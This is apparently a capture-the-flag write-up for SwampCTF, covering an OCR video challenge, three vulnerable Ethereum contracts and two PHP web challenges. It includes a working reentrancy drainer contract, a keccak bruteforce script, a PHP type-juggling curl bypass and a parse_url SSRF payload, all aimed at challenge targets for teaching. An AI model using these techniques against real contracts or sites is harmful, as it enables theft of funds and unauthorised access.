Misc
Welcome!
Welcome to SwampCTF! The first round is on us š»
As the challenge info says, these are just free points!
š flag{w3lc0m3_t0_th3_SwAmP}
Ghidra Release
[Meanwhile at the NSA on a Friday afternoon]
Manager: Hey, weāre going to be releasing our internal video training for Ghidra and we need you to watch it all to flag any content that needs to be redacted before release.
Manager: The release is next Monday. Hope you didnāt have any weekend plans!
You: Uhhh, sure bu-
Manager: Great! Thanks. Make sure nothing gets out.
You: ā¦ [looks at clock. It reads 3:45PM]
You: [Mutters to self] No way am I watching all of this: https://static.swampctf.com/ghidra_nsa_training.mp4
The linked video presents you with 15h30m of rolling text, most likely a video version of Ghidraās documentation:
We know that our flag is somewhere in there and, since watching the entire video is not an option, the best course of action could be to slice the video into single frames and analyze them with an OCR engine. The flagās format is known - flag{[a-zA-Z0-9_-]{12,40}} - so grepping for it will be easy.
The first step is to extract the videoās frames: parsing them all would need too much time and resources, so a sample needs to be taken every nth one. Doing so with ffmpeg
is trivial:
$ ffmpeg -i "ghidra_release.mp4" -vf fps=1/5 ./frames/frame_%05d.jpg
The fps=
parameter controls the sampling frequency: 1
means a frame every second, 1/60
one every minute, 1/600
one every ten minutes and so on. If the flag isnāt found at the end of the process, decreasing this value can be helpful.
Next on: feeding the frames through the Tesseract OCR engine, waiting for the process to finish, and then grepping through the output - keeping in mind that the flag could be segmented between two files and that shell globbing usually sorts matching files alphabetically:
$ for f in ./frames/frame_*.jpg; do echo "*** Processing $f"; tesseract "$f" "./ocr/${$(basename $f)%.jpg}.txt"; done
$ cat ./ocr/frame_*.txt | grep -E 'FLAG\(.*\): \S*'
š flag{l34kfr33_n4tion4l_s3cur1ty}
Smart
The following challenges were based on Ethereum smart contracts.
Multi-Owner Contract
My friend wanted to create a new type of ownable contract where multiple people can be owners. However, when he deployed it for his token sale, someone managed to add themself and many other owners and they minted tons of their own tokens! Luckily the sale hasnāt started yet, help him find the bug so he can deploy a new contract and save his ICO.
pragma solidity ^0.4.24;
contract Ownable {
event OwnerAdded(address);
event OwnerRemoved(address);
address public implementation;
mapping (address => bool) public owners;
modifier onlyOwner() {
require(owners[msg.sender], "Must be an owner to call this function");
_;
}
/** Only called when contract is instantiated
*/
function contructor() public payable {
require(msg.value == 0.5 ether, "Must send 0.5 Ether");
owners[msg.sender] = true;
}
/** Add an owner to the owners list
* Only allow owners to add other owners
*/
function addOwner(address _owner) public onlyOwner {
owners[_owner] = true;
emit OwnerAdded(_owner);
}
/** Remove another owner
* Only allow owners to remove other owners
*/
function removeOwner(address _owner) public onlyOwner {
owners[_owner] = false;
emit OwnerRemoved(_owner);
}
/** Remove all owners mapping and relinquish control of contract
*/
function renounceOwnership() public {
assembly {
sstore(owners_offset, 0x0)
}
}
/** CTF helper function
* Used to clean up contract and return funds
*/
function killContract() public onlyOwner {
selfdestruct(msg.sender);
}
/** CTF helper function
* Used to check if challenge is complete
*/
function isComplete() public view returns(bool) {
return owners[msg.sender];
}
}
This first ETH challenge was quite easy even for somebody who never worked with Smart Contracts before, it just needed some fine grained research (and setting up the development environment, which wasnāt so straightforward as well for a novice).
The vulnerability lied in a malformed constructor:
/* Only called when contract is instantiated */
function contructor() public payable {
require(msg.value == 0.5 ether, "Must send 0.5 Ether");
owners[msg.sender] = true;
}
Having been prepended with the function
keyword, this was no more a constructor but instead a publicly callable function; as such, it could be exploited to gain Owner status by just sending 0.5 ETH its way.
š flag{3v3ryb0dy5_hum4n_r34d_c10s31y}
Hash Slinging Slasher
Try to guess the random number I chose. Iāve hashed the value before storing it in the contract so you canāt cheat! Youāll never figure this one out :)
pragma solidity ^0.4.24;
contract HashSlingingSlasher {
bytes32 answer = 0xed2a0ca74e236c332625ad7f4db75b63d2a2ee7e3fe52c2c93c8dbc4e06906d1;
constructor() public payable {
require(msg.value == 0.5 ether, "Must send 0.5 Ether");
}
/** Guess the hashed number. Refunds ether if guessed correctly
*/
function guess(uint16 number) public payable {
require(msg.value == 0.25 ether, "Must send 0.25 Ether");
if(keccak256(abi.encodePacked(number)) == answer) {
msg.sender.transfer(address(this).balance);
}
}
/** Returns balance of this contract
*/
function getBalance() public view returns (uint256) {
return address(this).balance;
}
/** CTF helper function
* Used to check if challenge is complete
*/
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
}
The guess
function takes a number, encodes it via abi.encodePacked
and then hashes it via keccak256
(Ethereumās hashing algorithm, a SHA-3 variant that predates its final and official release).
Since guess
takes its input as an uint16, the keyspace for a bruteforce attack would be composed of single integers in the range {0..65535}. No fuss with any modern processor! The encoding function can be replicated as well: it is equivalent byte-casting.
Due to this additional encoding needed before hashing, using cracking tools like Hashcat became too cumbersome and instead we rolled our own bruteforcer:
#!/usr/bin/env python3
import sha3 # pip install pysha3
import struct
import sys
def hash(packed):
"""
Compute the Keccak256 has of a string/byte/packed object.
"""
k = sha3.keccak_256()
k.update(packed)
return k.hexdigest()
def iterate(endianness, min_n, max_n, target):
"""
Iterate from min_n to max_n, pack the number with the given endianness,
hash it and compare it with the target.
"""
for i in range (min_n, max_n+1):
print("*** Trying {} ({} endian)...".format(i, endianness), end='\r')
packing_fmt = '<H' if endianness == 'little' else '>H'
packed = struct.pack(packing_fmt, i)
hexdigest = hash(packed)
if hexdigest == target:
print("\n>>> FOUND! {} <<<".format(i))
print("\tTarget: {}".format(target))
print("\tHashed: {}".format(hexdigest))
print("\tPacked: {}\n".format(packed))
return
print("*** No matching hash found.")
def main():
if (len(sys.argv) < 4):
print("Usage: ./crack_keccak.py {TARGET_HASH} {MIN_N} {MAX_N}\n")
quit(1)
target = sys.argv[1]
min_n = int(sys.argv[2])
max_n = int(sys.argv[3])
print("*** Targeting hash: {} with keyspace {}-{}\n".format(target, min_n, max_n))
iterate('little', min_n, max_n, target)
iterate('big', min_n, max_n, target)
if __name__ == '__main__':
main()
$ ./crack_keccak.py ed2a0ca74e236c332625ad7f4db75b63d2a2ee7e3fe52c2c93c8dbc4e06906d1 0 65535
*** Targeting hash: ed2a0ca74e236c332625ad7f4db75b63d2a2ee7e3fe52c2c93c8dbc4e06906d1 with keyspace 0-65535
*** Trying 6452 (little endian)...
>>> FOUND! 6452 <<<
Target: ed2a0ca74e236c332625ad7f4db75b63d2a2ee7e3fe52c2c93c8dbc4e06906d1
Hashed: ed2a0ca74e236c332625ad7f4db75b63d2a2ee7e3fe52c2c93c8dbc4e06906d1
Packed: b'4\x19'
*** Trying 13337 (big endian)...
>>> FOUND! 13337 <<<
Target: ed2a0ca74e236c332625ad7f4db75b63d2a2ee7e3fe52c2c93c8dbc4e06906d1
Hashed: ed2a0ca74e236c332625ad7f4db75b63d2a2ee7e3fe52c2c93c8dbc4e06906d1
Packed: b'4\x19'
At first endianness wasnāt accounted for in this solution and numbers were only packed as little endian, but since 6452
didnāt get us the flag the second endianness check was implemented and indeed the right number to feed to guess
turned out to be 13337
.
š flag{0n_th3_b10ckch41n_3v3ryth1ng_15_pub1ic}
Refundable Purchase
Iāve created a contract to make buying items online safer! (for the buyer at least)
The funds stay in escrow in the contract until the buyer has received the item, in which they report theyāve received it (people are always honest, right!?).
If they never receive the item, they can call refund to return their spent ether.
Find a way to drain this contract of all pending refunds.
pragma solidity ^0.4.24;
contract RefundablePurchase {
event Refund(address, uint256);
event PurchaseCompleted(address, uint256);
address owner;
mapping (address => uint256) public refunds;
constructor() public payable {
require(msg.value == 0.5 ether, "Must send 0.5 Ether");
}
/** Fallback function, called when contract receives Ether without data
*/
function () external payable {
require(refunds[msg.sender] + msg.value > refunds[msg.sender]); // Overflow guard
refunds[msg.sender] += msg.value;
}
/** Refunds sent Ether
*/
function refund() public {
require(refunds[msg.sender] > 0);
uint256 amount = refunds[msg.sender];
msg.sender.call.value(amount)("");
refunds[msg.sender] = 0;
emit Refund(msg.sender, amount);
}
/** Call this function once you've received your purchased item
*/
function completePurchase() public {
require(refunds[msg.sender] > 0);
uint256 amount = refunds[msg.sender];
refunds[msg.sender] = 0;
emit PurchaseCompleted(msg.sender, amount);
}
/** Returns balance of this contract
*/
function getBalance() public view returns (uint256) {
return address(this).balance;
}
/** CTF helper function
* Used to check if challenge is complete
*/
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
}
As the isComplete() function says, we must somehow completely drain the initial balance with which the contract is deployed.
Analysing the contract we see that any balance received is processed in the fallback function and then added to our refund amount variable, which is mapped to our address (msg.sender
).
Afterward we can either confirm the balance sent (completePurchase()
) or get it back (refund()
).
Examining the refund() function in particular we see thereās a vulnerability we can exploit.
/** Refunds sent Ether
*/
function refund() public {
require(refunds[msg.sender] > 0);
uint256 amount = refunds[msg.sender];
msg.sender.call.value(amount)("");
refunds[msg.sender] = 0;
emit Refund(msg.sender, amount);
}
Thereās a combination of msg.sender.call.value(amount)("");
that does not take into account the gas limitation, and the reset of refunds that occurs only after the transaction has been processed. In this situation we can make a so-called Reentrancy Attack.
Letās create another smart contract that interacts with the deployed RefundablePurchase one (hereinafter referred to as āmain contractā).
Weāll need to write a function that receives balance, sends it to the main contract and then claim it back calling refund()
.
To complete the exploit, only remains to create a fallback function that once again calls the refund()
method.
The fallback function is going to be triggered when in the main contract the balance is sent back through msg.sender.call.value(amount)("");
. This is where the reentrancy attack occurs because thereās a loop that repeats until the balance is drained. One implementation could be as follows:
pragma solidity ^0.4.24;
import "./RefundablePurchase.sol";
contract DrainRefundable {
RefundablePurchase public atAddress;
constructor (address deploymentAddress) public {
atAddress = RefundablePurchase(deploymentAddress);
}
function () public payable {
if (address(atAddress).balance >= msg.value) {
atAddress.refund();
}
}
function drain() public payable {
address(atAddress).call.value(msg.value)();
atAddress.refund();
}
}
After calling the drain() function of the deployed āDrainRefundableā smart contract with 0.5 ETH, a quick check at the function getBalance() returns 0, therefore calling isComplete() returns true.
š flag{c411_15_n0t_s4f3_w1th_n0_g45_1imit}
Web
DataVault
Andrew, a data courier and PHP diehard, has secret data that he canāt have falling into the ZaibatsuCorpās hands.
Fortunately, weāve established an online datalink with his wetware.
Weāve exposed the moduleās access interface here: chal1.swampctf.com:1233
Can you bypass his CraniumStorage security module before he wakes up?
Looking at source and cookies wasnāt helpful. Itās only a bare page with an input box. Trying common SQL injections also gave no result.
Since our input is compared using PHP (as the ctf introduction suggested) a Type Juggling Bug may have been made. This was actually the case since making a POST request and changing āpassword=ā parameter to an array āpassword[]=ā, resulted in the site giving as the flag.
curl http://chal1.swampctf.com:1233/ -d "password[]=" | grep -Eo "flag{.*}"
š flag{wHy_d03S-php_d0-T41S}
Brokerboard
Itās the year 1997 and the Internet is just heating up! :fire:
In order to get ahead of the curve, SIT IndustriesĀ® has introduced itās first Internet product: The Link Saverā¢. SIT IndustriesĀ® has been very secretive about this product - even going so far to hire Kernel SandersĀ® to test the security!
However, The Kernel discovered that The Link Saver had a little bit of an SSRF problem that allowed any user to fetch the code for The Link Saverā¢ from https://localhost/key and host it themselves :grimacing:. Fortunately, with a lilā parse_url magic, SIT IndustriesĀ® PHP wizards have patched this finding from Kernel SandersĀ® and are keeping the code behind this wonderful site secure!
ā¦ or have they? :wink:
chal1.swampctf.com:1244
The given URL replied with a pretty standard form, the source wasnāt giving out any interesting hints:
Feeding in URLs worked as expected:
Since the backstory of the challenge pointed to PHPās parse_url
function, it was enough to find an interesting known vulnerability that enabled users to feed malformed data to it: the string https://born2scan.github.io:80#@localhost/key
would be splitted on the hash and the second part would be evaluated without checks.
š flag{y0u_cANn0t_TRU5t_php}